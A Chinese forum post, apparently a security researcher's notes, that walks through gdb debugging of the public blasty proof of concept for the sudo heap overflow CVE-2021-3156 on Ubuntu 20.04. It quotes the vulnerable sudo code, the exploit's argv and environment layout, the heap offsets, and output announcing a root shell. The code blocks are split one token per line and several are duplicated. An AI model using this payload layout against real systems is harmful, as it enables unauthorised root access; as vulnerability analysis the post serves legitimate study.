在论坛上看到有大佬写了CVE-2021-3156的分析,蹭一下热度。
本文仅记录我对CVE-2021-3156漏洞的调试过程,漏洞分析及利用思路请参考Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156),利用代码请参考blasty/CVE-2021-3156。
测试系统为全新的Ubuntu 20.04.1虚拟机,sudo的版本为1.8.31-1ubuntu1。
根据漏洞介绍,此漏洞可以被所有本地用户利用,但是经过测试blasty/CVE-2021-3156只适用于non-sudoers。所以首先新建一个test用户,按照blasty/CVE-2021-3156的介绍编译并运行PoC。可以看到提权成功。接下来的目标就是结合已有资料,通过调试弄清漏洞利用的具体过程。
溢出的原因是在sudo处理命令行参数的时候,转译字符\
使while (*from)
跳过了后面的\x00
。Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)里面介绍了3中利用方法,blasty/CVE-2021-3156实现的是3种方法中的第二种,即通过一次堆溢出覆盖了struct service_user
中的name
字段,从而控制了__libc_dlopen
的参数,所以可以加载一个攻击者准备的so库。
为了更好的调试,按照ubuntu wiki中的方法安装符号。
安装好符号表后开始调试,调试时要使用root权限,否则sudoedit会报错(我猜是因为gdb sudo
时sudo的suid位不起作用)。
漏洞利用代码做的事情就是准备好环境变量和命令行参数后,通过execve
执行sudoedit
。先在exec
系统调用处断下来,然后用file
命令将调试的程序改为sudo,接着在main
函数下断点。
在main
函数断下来之后,可以查看其参数和环境变量,注意命令行参数和环境变量都存储在栈上,而且连续的。
根据Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)的介绍,溢出点在set_cmnd
函数,但是目前gdb里面并没有这个符号。分析后发现set_cmnd
这个函数在sudoers.so
这个库里面,但是当前进程中并没有这个库。
猜测这个库是由dlopen
打开的,因此在dlopen
下断点,果然看到了dlopen
打开sudoers.so
,并且set_cmnd
的符号出现了。
在set_cmnd
断下来之后你会发现这个函数被内联了,通过汇编可以看出分配内存是在sudoers_policy_main+771
,所以在此处下断点,查看malloc
的参数和返回值。可以看到分配内存的大小为0x74
,返回值为0x5574f731a350
。
0x74
这个值是三个命令行参数AAAA...AA\
\
BBBB..BB\
的长度加上3(每个参数后面有一个空格或null)。根据命令行参数的长度和环境变量的长度,可以算出X/P0P_SH3LLZ_
相对0x5574f731a350
的偏移是57+55+1+63=176
。当前的内容为files
,在nss_load_library
下断点,再检查0x5618c8419350+176
的值为X/P0P_SH3LLZ_
,在__libc_dlopen_mode
下断点,可以看到进程在打开libnss_X/P0P_SH3LLZ_ .so.2
。
819
if
(sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
852
for
(size
=
0
, av
=
NewArgv
+
1
;
*
av; av
+
+
)
853
size
+
=
strlen(
*
av)
+
1
;
854
if
(size
=
=
0
|| (user_args
=
malloc(size))
=
=
NULL) {
...
857
}
858
if
(ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
864
for
(to
=
user_args, av
=
NewArgv
+
1
; (
from
=
*
av); av
+
+
) {
865
while
(
*
from
) {
866
if
(
from
[
0
]
=
=
'\\'
&& !isspace((unsigned char)
from
[
1
]))
867
from
+
+
;
868
*
to
+
+
=
*
from
+
+
;
869
}
870
*
to
+
+
=
' '
;
871
}
...
884
}
...
886
}
819
if
(sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
852
for
(size
=
0
, av
=
NewArgv
+
1
;
*
av; av
+
+
)
853
size
+
=
strlen(
*
av)
+
1
;
854
if
(size
=
=
0
|| (user_args
=
malloc(size))
=
=
NULL) {
...
857
}
858
if
(ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
864
for
(to
=
user_args, av
=
NewArgv
+
1
; (
from
=
*
av); av
+
+
) {
865
while
(
*
from
) {
866
if
(
from
[
0
]
=
=
'\\'
&& !isspace((unsigned char)
from
[
1
]))
867
from
+
+
;
868
*
to
+
+
=
*
from
+
+
;
869
}
870
*
to
+
+
=
' '
;
871
}
...
884
}
...
886
}
$ echo "deb http:
/
/
ddebs.ubuntu.com $(lsb_release
-
cs) main restricted universe multiverse
> deb http:
/
/
ddebs.ubuntu.com $(lsb_release
-
cs)
-
updates main restricted universe multiverse
> deb http:
/
/
ddebs.ubuntu.com $(lsb_release
-
cs)
-
proposed main restricted universe multiverse" | \
> sudo tee
-
a
/
etc
/
apt
/
sources.
list
.d
/
ddebs.
list
$ echo "deb http:
/
/
ddebs.ubuntu.com $(lsb_release
-
cs) main restricted universe multiverse
> deb http:
/
/
ddebs.ubuntu.com $(lsb_release
-
cs)
-
updates main restricted universe multiverse
> deb http:
/
/
ddebs.ubuntu.com $(lsb_release
-
cs)
-
proposed main restricted universe multiverse" | \
> sudo tee
-
a
/
etc
/
apt
/
sources.
list
.d
/
ddebs.
list
$ sudo apt install ubuntu
-
dbgsym
-
keyring
$ sudo apt
-
get update
$ sudo apt
-
get install sudo
-
dbgsym
=
1.8
.
31
-
1ubuntu1
$ sudo apt install ubuntu
-
dbgsym
-
keyring
$ sudo apt
-
get update
$ sudo apt
-
get install sudo
-
dbgsym
=
1.8
.
31
-
1ubuntu1
$ sudo gdb
-
-
args .
/
sudo
-
hax
-
me
-
a
-
sandwich
1
$ sudo gdb
-
-
args .
/
sudo
-
hax
-
me
-
a
-
sandwich
1
Reading symbols
from
.
/
sudo
-
hax
-
me
-
a
-
sandwich...
(gdb) catch
exec
Catchpoint
1
(
exec
)
(gdb) run
Starting program:
/
home
/
weizi
/
src
/
CVE
-
2021
-
3156
/
sudo
-
hax
-
me
-
a
-
sandwich
1
*
*
CVE
-
2021
-
3156
PoC by blasty <peter@haxx.
in
>
using target: Ubuntu
20.04
.
1
(Focal Fossa)
-
sudo
1.8
.
31
, libc
-
2.31
[
'/usr/bin/sudoedit'
] (
56
,
54
,
63
,
212
)
*
*
pray
for
your rootshell..
*
*
process
2604
is
executing new program:
/
usr
/
bin
/
sudo
Catchpoint
1
(
exec
'd
/
usr
/
bin
/
sudo),
0x00007f2035ec7100
in
?? ()
from
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
(gdb)
file
/
usr
/
bin
/
sudo
A program
is
being debugged already.
Are you sure you want to change the
file
? (y
or
n) y
Load new symbol table
from
"/usr/bin/sudo"
? (y
or
n) y
Reading symbols
from
/
usr
/
bin
/
sudo...
Reading symbols
from
/
usr
/
lib
/
debug
/
.build
-
id
/
c4
/
3faca825a3d0bf3541ed8e7c64262105da86d9
.debug...
(gdb) b main
Breakpoint
2
at
0x5574f6222b20
:
file
..
/
..
/
src
/
sudo.c, line
136.
(gdb) c
Continuing.
[Thread debugging using libthread_db enabled]
Using host libthread_db library
"/lib/x86_64-linux-gnu/libthread_db.so.1"
.
Breakpoint
2
, main (argc
=
5
, argv
=
0x7ffc20a88cf8
, envp
=
0x7ffc20a88d28
) at ..
/
..
/
src
/
sudo.c:
136
136
..
/
..
/
src
/
sudo.c: No such
file
or
directory.
Reading symbols
from
.
/
sudo
-
hax
-
me
-
a
-
sandwich...
(gdb) catch
exec
Catchpoint
1
(
exec
)
(gdb) run
Starting program:
/
home
/
weizi
/
src
/
CVE
-
2021
-
3156
/
sudo
-
hax
-
me
-
a
-
sandwich
1
*
*
CVE
-
2021
-
3156
PoC by blasty <peter@haxx.
in
>
using target: Ubuntu
20.04
.
1
(Focal Fossa)
-
sudo
1.8
.
31
, libc
-
2.31
[
'/usr/bin/sudoedit'
] (
56
,
54
,
63
,
212
)
*
*
pray
for
your rootshell..
*
*
process
2604
is
executing new program:
/
usr
/
bin
/
sudo
Catchpoint
1
(
exec
'd
/
usr
/
bin
/
sudo),
0x00007f2035ec7100
in
?? ()
from
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
(gdb)
file
/
usr
/
bin
/
sudo
A program
is
being debugged already.
Are you sure you want to change the
file
? (y
or
n) y
Load new symbol table
from
"/usr/bin/sudo"
? (y
or
n) y
Reading symbols
from
/
usr
/
bin
/
sudo...
Reading symbols
from
/
usr
/
lib
/
debug
/
.build
-
id
/
c4
/
3faca825a3d0bf3541ed8e7c64262105da86d9
.debug...
(gdb) b main
Breakpoint
2
at
0x5574f6222b20
:
file
..
/
..
/
src
/
sudo.c, line
136.
(gdb) c
Continuing.
[Thread debugging using libthread_db enabled]
Using host libthread_db library
"/lib/x86_64-linux-gnu/libthread_db.so.1"
.
Breakpoint
2
, main (argc
=
5
, argv
=
0x7ffc20a88cf8
, envp
=
0x7ffc20a88d28
) at ..
/
..
/
src
/
sudo.c:
136
136
..
/
..
/
src
/
sudo.c: No such
file
or
directory.
(gdb) p argv[
0
]
$
1
=
0x7ffc20a8adf6
"sudoedit"
(gdb) p argv[
1
]
$
2
=
0x7ffc20a8adff
"-s"
(gdb) p argv[
2
]
$
3
=
0x7ffc20a8ae02
'A'
<repeats
56
times>,
"\\"
(gdb) p argv[
3
]
$
4
=
0x7ffc20a8ae3c
"\\"
(gdb) p argv[
4
]
$
5
=
0x7ffc20a8ae3e
'B'
<repeats
54
times>,
"\\"
(gdb) p envp[
0
]
$
6
=
0x7ffc20a8ae76
"\\"
(gdb) p envp[
62
]
$
7
=
0x7ffc20a8aef2
"\\"
(gdb) p envp[
63
]
$
8
=
0x7ffc20a8aef4
"X/P0P_SH3LLZ_"
(gdb) p envp[
64
]
$
9
=
0x7ffc20a8af02
"LC_ALL=C.UTF-8@"
,
'C'
<repeats
185
times>...
(gdb) p envp[
65
]
$
17
=
0x0
(gdb)
(gdb) p argv[
0
]
$
1
=
0x7ffc20a8adf6
"sudoedit"
(gdb) p argv[
1
]
$
2
=
0x7ffc20a8adff
"-s"
(gdb) p argv[
2
]
$
3
=
0x7ffc20a8ae02
'A'
<repeats
56
times>,
"\\"
(gdb) p argv[
3
]
$
4
=
0x7ffc20a8ae3c
"\\"
(gdb) p argv[
4
]
$
5
=
0x7ffc20a8ae3e
'B'
<repeats
54
times>,
"\\"
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!